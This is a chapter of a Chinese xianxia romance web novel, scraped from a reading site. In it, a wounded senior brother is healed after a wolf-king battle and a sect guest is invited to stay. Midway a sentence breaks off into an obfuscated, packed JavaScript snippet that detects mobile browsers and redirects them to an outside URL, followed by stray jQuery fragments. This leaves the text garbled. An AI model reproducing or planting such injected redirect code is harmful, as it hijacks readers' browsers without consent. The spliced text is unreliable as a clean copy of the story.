默认冷灰
24号文字
方正启体

7. 第 7 章

作者:白鹤见羽本书字数:K更新时间:
    见师妹在睡,陆悬书也不便打扰,窸窸窣窣换好干净外衫,又净了脸。


    做完这些,他在观宁身边坐下来,静静凝睇了她好一会儿。


    房间里焚了上好的龙脑香,有凝神之效。


    观宁睡得一张小脸透着微红,已经不复苍白支离的模样。


    见她无恙,陆悬书这才放心打坐调息。


    狼王本体的实力大约是巅峰时期的六成左右,而观宁遇到的两条分身则各自占去了二成。


    陆悬书主修琴道、兼修术法,聂雪深请他来助阵,原本是想让他以琴音压制幻境神通。


    但计划总赶不上变化。


    身为剑修的聂雪深与观宁被困在小洞天之中,陆悬书只能迎难而上。


    他所修道法本不善于杀伐,只是为了观宁,这才爆发出十二分的潜能。


    眼下心神松懈,暗伤才逐渐显露出来。


    他运转周天,却无论如何也不能平复下真气亏损过度导致的隐患。


    他“噗”地吐了一口鲜血,地上触目惊心一片暗红。


    陆悬书苦笑:实在是……无用啊。


    观宁被刚才的动静吵醒了。她见陆悬书气息有异,连忙下来查看:“师兄,你怎么样了?”


    陆悬书用袖口掩住嘴角:“不过是真气不稳,不值得大惊小怪。”


    观宁眼尖,早就看见他脚边暗红鲜血:“!”


    见她被唬了一跳,陆悬书知道瞒不过去,放下袖子:“吐口血而已,好得会快一些。”


    观宁红着眼圈,给他擦净嘴角:“师兄,我以后不任性了。”


    自从陆悬书结丹之后,她总不见师兄像从前一样,在门派陪着自己。


    每每传讯回来,就是在某某秘境、又或是接了什么任务。


    两人年少情深,从前何曾有过频繁的分别。


    时间一久,观宁就也开始怀疑对方是不是被什么人绊住了,才不回来见她。


    原来,师兄在外面都是经历的这些。


    陆悬书:“好啦,宁宁、我不会死的。等这次回去,师兄还要陪宁宁去洛方城玩呢。即便真死了,变个鬼也要日日来窗外看你的。”


    观宁听完这话,就把帕子摔在他怀里:“不许说这么不吉利的话!”


    陆悬书接住帕子:“岂敢不从。”


    心情好了一点,观宁把心思重新放在师兄的伤势上。她想到了聂雪深。


    对方出身渡月山,又与师兄几次结伴去过秘境,或许他有什么更有效的疗伤手段呢?


    观宁起身:“师兄,你先歇着,我去找聂道友。”说完,她就跑了个没影。


    这边,聂雪深正在与江之夏说话。


    观宁跑得急,在船舱内找不到人,就一路寻到甲板上。


    见她行色匆匆,聂雪深收回视线,看向她:“沈师妹,出了什么事?”


    观宁将陆悬书的情况告诉他。


    聂雪深二话不说,就跟着观宁一起回去。


    江之夏见两人都要走,也一起跟上。


    不多时,几个人又重新聚到一起。陆悬书脸色有些苍白,愈发像雨打潇潇的一杆劲竹。


    聂雪深示意:“手。”


    陆悬书熟练挽起半截袖子,露出劲瘦一段小臂。


    聂雪深并指在他脉搏上搭了三息,说道:“江师弟、沈师妹,你们先出去,我为陆兄疗伤,不要进来打扰。”


    江之夏应了一声,起身出去。


    观宁不放心地多看了陆悬书几眼,后者回以她一个温润微笑。


    观宁见江之夏站在门外,于是问道:“江道友,可否借一步说话?”


    经历一番生死,江之夏心中成见早就去了大半,眼下态度极好:“当然可以。”


    两人在走廊另一头说话。


    观宁:“江道友,你们当时的情形是怎样的,师兄怎么会伤成这样?”


    江之夏陷入回忆,娓娓道来:“沈道友与大师兄消失后,陆道友提议沿着小路继续前进,尽快找到狼王位置。我虽然觉得危险,但为了救你和大师兄,也就同意了。”


    “小路边沿是条溪流,周围有不少妖兽聚集,在此饮水。陆道友为了开路,招式几乎从不停下。有那等决心,连妖兽群也没能拦下他片刻。”


    观宁知道江之夏所说的那条小路。


    当时聂雪深在介绍地形图的时候,特意点明了那里十分危险。师兄他……


    江之夏继续说道:“那条路虽险,但是比起接下来的狼王巢穴却又不算什么。我们用了一刻钟不到,就寻到了目的地所在。


    最开始我们只看到了狼王,等深入巢穴我才发现,不知什么时候,退路上已经汇集了整个狼群!”


    “陆道友没有自乱阵脚,用琴音牵制了狼群的大部分行动能力。眼见部下被屠戮大半,狼王也开始动了——我从未见过如此之快、之狠的妖兽。”


    “战斗激烈,一时我也无瑕去管陆道友那边。等好不容易脱身,我身边就只剩下陆道友与狼王。


    他与它不知经历了何等惨烈的战斗,那些血迹大半都是陆道友留下的。”


    讲到这里,江之夏长长吐了一口气:“接下来的事,沈道友也知道了。终究陆道友技高一筹,杀了狼王,你们也都平安回来。”


    观宁心情颇有些沉重:“江道友,你也辛苦了。多谢你们杀了狼王,我和聂道友才有机会脱身。”


    江之夏:“沈道友言重。”


    门吱呀一声打开。


    观宁一直留心着门内的动静,见聂雪深出来,连忙问他:“我师兄怎么样了?”


    聂雪深见她神色焦急不安,沉声回答:“陆兄已无大碍,先不要打扰他。此番劳神劳力,他需要静养。”


    观宁不是不知轻重的人,一口答应下来:“好。”


    江之夏前来关心:“大师兄,你也去休息吧?飞舟有我看顾就好。”


    聂雪深:“有劳江师弟。”


    方才,聂雪深以内功心法为陆悬书疗伤。


    他剩余的灵力大半都用来压制对方的伤势,自己的伤口反而又在流血了。


    聂雪深微微蹙眉。


    观宁这才后知后觉:明明聂雪深也在此战中耗损了不少真气。


    方才她关心则乱,就忘了这件事。


    有心弥补疏忽,她提议:“聂道友,若是方便的话,留着晖霞派多住几天可好?我和师兄来招待你们,也好就近养伤。”


    聂雪深并未先回答,而是先看江之夏。


    江之夏:师兄这个眼神,是想答应还是不想答应?


    高速思考了一番,他开口:“沈道友,渡月山事务繁杂……”


    聂雪深及时打断:“因此,有劳江师弟先行回去禀告师尊,说我过几天就回。”


    江之夏:“……师兄的安排甚好。”


    观宁有些遗憾:“那江道友下次得空一定要来啊!”


    江之夏:“一定一定。”


    等到快到晖霞派时,观宁去找聂雪深:“聂道友,我现在可以去看师兄了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126031|196078||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吧?”


    她抓心挠肺想亲眼见到陆悬书,又碍于聂雪深的嘱咐,没耐烦挨到现在。


    聂雪深欲言又止:“陆兄应无大碍了。只是……”


    观宁:“只是什么?”


    眼前少年清冷出尘,谪仙般的人品,好似月中幻身。然而他说出口的话却是:“陆兄有伤在身,这几日宜止情忍性,不可过分狎昵。”


    观宁只觉得脸似火烧一般,涨得通红:“啊……”


    果然,那时候他什么都听到了!


    她结结巴巴:“多、多谢聂道友提醒。”


    都怪陆悬书不守规矩。那般羞人的动静,这下被人完全听了去。


    而且聂雪深曾指导过她剑招,说起来还算有半师之谊。


    被这样一个严肃正经、不沾情爱的少年当面指出这件事,观宁只觉得无地自容。


    聂雪深犹嫌不足:“非礼勿听,沈师妹无需介怀,你与陆兄的事,我并未刻意留神。”


    这句话也不必说了!


    观宁尴尬了好一会儿,正要走,又磨磨蹭蹭回来:“那大概需要几天……”


    聂雪深:“三日。”


    观宁匆匆道了谢,几乎是夺路而逃。


    陆悬书在房间中,已然打坐完毕。


    正要出门去看看师妹,她已经飞快进来关好门。


    陆悬书:“宁宁你怎么了?脸这样红。”


    观宁看到他气息周正,显然没有大碍了,才有心情和他算账:“还说呢!”


    接着,她把刚才的话和陆悬书复述了一遍。


    陆悬书:“我当是什么事,聂兄他于此道淡漠得很,见众生皮囊如见镜花水月,就连他的剑也名‘镜花’。他这样提醒,大概也只是处于一片好心,并没有别的意思。”


    观宁听他说了这么一通,才觉得心里好受一些:“照师兄这么说,聂道友修的是无情道咯?”


    陆悬书摇头:“无情道修士需要割舍一切情缘,也包括亲情与友情。但聂道友并不以此入道,只是心神如一,专注剑道而已。”


    观宁有些发愁:“要真是无情道就好了。”


    她将聂雪深在幻境中看到的事娓娓道来。


    陆悬书失笑:“就算真有得证大道的一日,我自然也日日守着宁宁。至于聂兄,怕是不能如愿了。”


    观宁:“对了,我还邀请聂道友来咱们晖霞派住几日呢,也算报答他给师兄疗伤,你说好不好?”


    她本以为师兄和聂道友是好朋友,他要来,师兄必然不反对的。


    谁知,陆悬书竟是十分幽怨,委屈地看她:“宁宁,你难道忘了我们说好要去约会……”


    现在多了一个聂雪深,他预想了好久的二人世界也必然不能了。


    观宁:“啊!”糟糕,完全忘记这件事了。


    眼见这几天是不成了,陆悬书反而安慰观宁:“这样也好,聂兄从没来晖霞派做过客,我们就好好招待他。”


    众人回到晖霞派时,已经是入夜时分。


    江之夏有宗门事务在身,也没有多做停留。陆悬书先告知了师父师娘,又给聂雪深安排住处。


    观宁有些担心:“师兄,聂道友会不会住的不习惯?”


    眼见他连代步飞舟都是动辄千万灵石的地步,她唯恐怠慢对方。


    陆悬书给她定心:“以前与聂兄在秘境中,幕天席地都睡过,他又怎会在意这些。而且我给聂兄安排的濯秀峰,布局雅致,想必他会喜欢的。”


    观宁被他说服了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)